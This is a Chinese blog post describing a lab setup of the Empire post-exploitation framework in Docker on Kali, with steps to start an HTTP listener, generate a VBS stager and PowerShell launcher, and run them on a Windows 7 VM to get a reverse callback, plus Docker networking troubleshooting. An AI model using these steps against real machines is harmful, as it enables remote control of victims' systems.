summer14

docker下安装Empire与Empire简单使用

 前言

在kali本机安装Empire时,由于机器环境混乱,导致各种缺少依赖或报错,因此选择在docker下安装。本篇记录安装流程以及使用过程中遇到的问题与解决思路。

 

Empire和MSF的区别

  • Empire是基于PowerShell的,而MSF是基于Ruby的。这意味着Empire更适合针对Windows系统,而MSF更适合针对Linux系统。
  • Empire的监听方式是先建立监听,再生成木马。而MSF的监听方式是先生成木马,再建立监听。这意味着Empire可以根据不同的目标系统来定制木马,而MSF需要保证木马和监听的payload一致。

 

docker容器,实际上就是个虚拟环境

创建Empire docker容器

//以下操作都处于root权限
启动docker:systemctl start docker
获取docker里empire的环境镜像:docker pull empireproject/empire 创建docker容器并命名为empire:docker create -it -p 7000:7000 --name empire empireproject/empire /bin/bash **-p 进行pat

//搜索docker提供的镜像:docker search empire(可访问互联网的环境下运行)

//列出已获取镜像:docker image ls

//列出已有容器:docker ps -a

 

Empire初始化

//sudo不能忽略
运行empire容器:docker start -i empire
初始化empire:sudo ./setup/reset.sh
输入密码
启动empire:sudo ./empire
提示缺少pefile模块
//升级pip再安装pefile  
 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python get-pip.py ln -s /usr/local/bin/pip2.7 /usr/bin/pip
pip install pefile

成功启动empire

  

 

下次如果需要启动的话只需要运行:

启动docker:systemctl start docker
运行empire容器:docker start -i empire
 

Empire简单使用

环境

//kali和windows7接入Vmnet5
kali:192.168.1.130/24 windows7:192.168.1.3/24

 开启监听listeners

监听listeners
    uselistener 双击tab  可以看到七种模式。
    使用uselistener http模块
    
    info 查看详细信息与设置
   set name
   //下面的两个port是在创建容器时指定的  
set Host [ip:port] ip是kali在Vmnet5子网下的ip;port是端口映射后的port,即kali监听的端口   set
Port [port]        端口映射前的port,即empire docker监听的端口 execute执行监听
生成木马
stager,类似MSF的payload
    usestager 双击tab  查看可利用stager
    使用usestager windows/vbs模块
    
    info
   set listener 
    execute  在/tmp生成木马launcher.dll

从docker取出.vbs文件

docker ps -a            //先获取containId
docker cp [containId]:/tmp/launcher.vbs /tmp/

复制到Win7执行即可反弹

 

排查阶段

原因

此时还不明白创建容器时指定端口转发的作用,在empire设置监听时没有对端口进行设置(默认80),导致执行木马后empire与目标机器无法建立连接。

  ifconfig查看kali有一块docker0的网卡

    

   docker0网卡对应着docker的brige虚拟网络

    

  路由表:

    

   因此此时整个网络拓扑如下:

    

  那就用win7 ping 下Empire

    

     出错,怎么回事呢?

  已知brige网络设置了默认网关,所有bridge的数据包由172.17.0.1,也就是kali转发出去。

  而Win7没有指明目标172.17.0.0/24这个网段的数据包发往何处,如图所示

     

  给win7添加路由

  //在cmd操作  
  route add -p 172.17.0.0 mask 255.255.0.0 192.168.1.130

  再ping,这次出现请求超时的错误。

  kali抓包,可以看到包确实发给kali了,但是在eth0就被掐掉了,没有任何包进入docker0。

    

  当时我的猜想是bridge网络做了nat,而Empire没有主动连接bridge网络以外的主机,自然也没有相应的nat转换记录。

  复盘:做到最后发现不仅bridge开启了nat,创建容器的时候也在kali的eth0做了pat,所以这就能解释为什么不会有包经过docker0了。

  判定bridge确实开启了nat

  docker network inspect bridge查看

  

 本想着给bridge配个静态nat,没找到相关配置。

 陷入沉思。。

 先记录下过程吧。

 

 写着写着博客突然想起在创建Empire容器时给其做了端口转发,试试这个突破口。

 查看本地监听,的确有7000端口的监听

  

  到这里Empire回包的过程就很清晰了:数据包先在docker0转换源ip地址(假设从172.17.0.2转成172.17.0.1),做的是nat;接着数据包来到eth0,又转换源ip地址,同时修改端口(172.17.0.1:7000转成192.168.1.130:7000),做的是pat。

  因此Win7访问的Empire的地址就是192.168.1.130:7000

  Empire开启一个新的监听,修改这三项

    

   使用launcher生成powershell的base64代码

    

  复制到win7 powershell执行,成功获得代理!!!

    

    

 

总结

  在docker下玩empire感觉像是内网打外网。这次排查过程也学习到了不少docker的网络知识和命令。

 

posted on 2023-03-29 15:34  summer14  阅读(402)  评论(0编辑  收藏  举报

导航